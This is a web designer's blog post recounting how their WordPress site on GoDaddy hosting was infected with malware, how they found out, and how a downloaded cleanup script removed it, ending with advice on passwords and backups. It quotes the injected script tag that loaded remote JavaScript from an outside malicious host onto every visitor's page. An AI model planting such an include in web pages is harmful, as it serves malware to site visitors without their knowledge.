If you use a PC, I surely do hope you DIDN’T visit my website over the last few days. The reason? It was infected with malware. Because I am on a mac, I didn’t notice the popups and various bugs that had taken over my website since May 15th, but a fellow web designer in Mississippi – Addison Hall – sent me an email to let me know that he witnessed it. I couldn’t have been more grateful for the heads-up.
So what exactly happened?
Well, this snippet of code was on my homepage: <script src=”http://holasionweb.com/oo.php”></script>
Doesn’t look too harmful, but considering I didn’t put it there, it’s scary. It’s being there meant that someone besides me was rooting around my website and had enough access to my file to infect them with a virus.
The first thing I did was change was FTP login and password. I wanted to make sure whoever had my access to my files wouldn’t have access anymore. Then, I went searching for the virus on the server.
At first, I thought that code was merely placed on my homepage and a simple “highlight / delete” would solve my dilemma. But I was wrong. I couldn’t find the code anywhere, which meant the virus was more problematic than I first thought. It was a script running in my directory and I was going to have to find it first.
Now I’m pissed. What’s going to happen it I can’t get rid of it? Is my website going to disappear? How old is my back up website? What problems has this bug already caused? Concerns boggled my mind.
A quick google search revealed that the malware is a recent virus that has been attacking websites that are hosted with GoDaddy.com shared hosting and running some form of Word Press. Check, Check, Check. That’s me.
Luckily, other people who combated the bug already had the “anti” virus file available for download. I downloaded a few – one was more complicated than the other – so I went the easy route: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
You best believe that I was leery about uploading an unknown file to my website since I wasn’t familiar with the blog author, but I checked out the code, read the comments and took the leap of faith that this was someone just trying to help…. and it was!
Within a few minutes, the “fix it” script found and delete the virus. A rush of relief ran through me, but only for a second as I started to go down the client list and recall which of my client’s use godaddy.com too.
Good news… doesn’t look like anyone else was infected. But it still acts as a reminder of the world that we live in. Folks – it’s important to keep your passwords safe and change them from time to time. It’s also important to keep backup copies of your website. You never know who’s lurking in the shadows ready to attack when you give them the chance. For my business, a website virus could have been disastrous had it not been spotted and extinguished early.